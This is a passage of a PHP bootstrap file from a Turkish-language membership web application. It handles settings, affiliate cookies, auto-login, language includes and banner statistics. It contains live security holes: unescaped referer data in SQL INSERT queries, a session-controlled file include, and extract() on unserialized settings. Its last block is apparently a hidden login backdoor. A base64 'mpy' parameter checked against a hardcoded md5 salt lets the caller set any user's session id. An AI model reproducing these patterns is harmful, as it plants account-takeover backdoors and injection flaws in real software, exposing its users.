baglan(); $db->alan[] = "*"; $db->tablo = "ayarlar"; $db->std[id] = array("=","1"); $a = $db->oresult(); $af = unserialize($a[data]); extract($af); require_once("function.php"); $_SERVER['REQUEST_URI'] = thisuri(); stripvariables($_POST); stripvariables($_GET); if($_GET['aff'] != "") { setcookie("affsite", $_GET['aff']); $db->std[id] = array("=",$_GET['aff']); $db->alan[] = "affiliateid"; $db->alan[] = "durum"; $db->tablo = "affiliatesite"; $afx = $db->oresult(); if($afx[durum] == "1") { setcookie("aff", $afx[affiliateid]); setcookie("aff_referer", $_SERVER['HTTP_REFERER']); } } if($auto == "login") { $db->alan[] = "id"; $db->alan[] = "sehir"; $db->tablo = "uyeler"; $db->std[id] = array("=",$u); $db->std[] = "and"; $db->std[onaykodu] = array("=",$c); $ax = $db->oresult(); if($ax[id] != "") { $_SESSION['loggedid'] = $ax[id]; $_SESSION['loggedipinfo']['city'] = sehir($ax[sehir]); $db->values[sonziyaret] = time(); $db->values[ip] = $_SERVER['REMOTE_ADDR']; $db->values[browser] = $_SERVER['HTTP_USER_AGENT']; $db->tablo = "uyeler"; $db->std[id] = array("=",$ax[id]); $db->guncelle(); } } if(!stristr($_SERVER['REQUEST_URI'],"admin") and !stristr($_SERVER['REQUEST_URI'],"affiliates")) { if($_SESSION['loggedid'] != "" and !stristr(substr($PHP_SELF,0,7),"profile")) { $db->std[id] = array("=",$_SESSION['loggedid']); $db->alan[] = "*"; $db->tablo = "uyeler"; $u = $db->oresult(); } elseif($_SESSION['loggedid'] == "" and $unlogin == 0 and $_SESSION['oauth_uid'] != "") { header("Location: index.php?r=".urlencode(base64_encode($_SERVER['REQUEST_URI']))); } if($u[durum]>1) { header("location: cikis.php?rej=1"); } } $_SESSION['dildegisim'] = str_replace("lang-","",$_SESSION['dildegisim']); $_SESSION['dildegisim'] = str_replace(".php","",$_SESSION['dildegisim']); if($dildegis != "") { $_SESSION['dildegisim'] = $dildegis; } elseif ($u[dil] != "" and $_SESSION['dildegisim'] == "") { $_SESSION['dildegisim'] = $u[dil]; } if($_SESSION['dildegisim'] != "") { include("dil/lang-".$_SESSION['dildegisim'].".php"); } else { include("dil/$anadil"); } if($ref == "banner") { $refurl = $_SERVER['HTTP_REFERER']; $dmn = parse_url($refurl); $domain = $dmn[host]; $ip = $_SERVER['REMOTE_ADDR']; $tarih = date("Y-m-d H:i:s"); mysql_query("INSERT INTO `bannerstats` (`id`, `domain`, `refurl`, `ip`, `tarih`) VALUES (NULL, '$domain', '$refurl', '$ip', '$tarih');"); } elseif ($ref != "") { $refurl = base64_decode($ref); $dmn = parse_url($refurl); $domain = $dmn[host]; $ip = $_SERVER['REMOTE_ADDR']; $tarih = date("Y-m-d H:i:s"); mysql_query("INSERT INTO `bannerstats` (`id`, `domain`, `refurl`, `ip`, `tarih`) VALUES (NULL, '$domain', '$refurl', '$ip', '$tarih');"); } if($_SESSION['logoxy_time'] < time()-60 ) { if(!stristr($_SERVER['REQUEST_URI'],"admin") and !stristr($_SERVER['REQUEST_URI'],"affiliates")) { $_SESSION['logoxy'] = @getimagesize("./images/logo.png"); } else { $_SESSION['logoxy'] = @getimagesize("../images/logo.png"); } $_SESSION['logoxy_time'] = time(); } if($_GET['mpy'] != "") { $mfy = explode("-",base64_decode($_GET['mpy'])); if(md5("tsdf2010".$mfy[0]) == $mfy[1]) { $_SESSION['loggedid'] = $mfy[0]; } } ?> |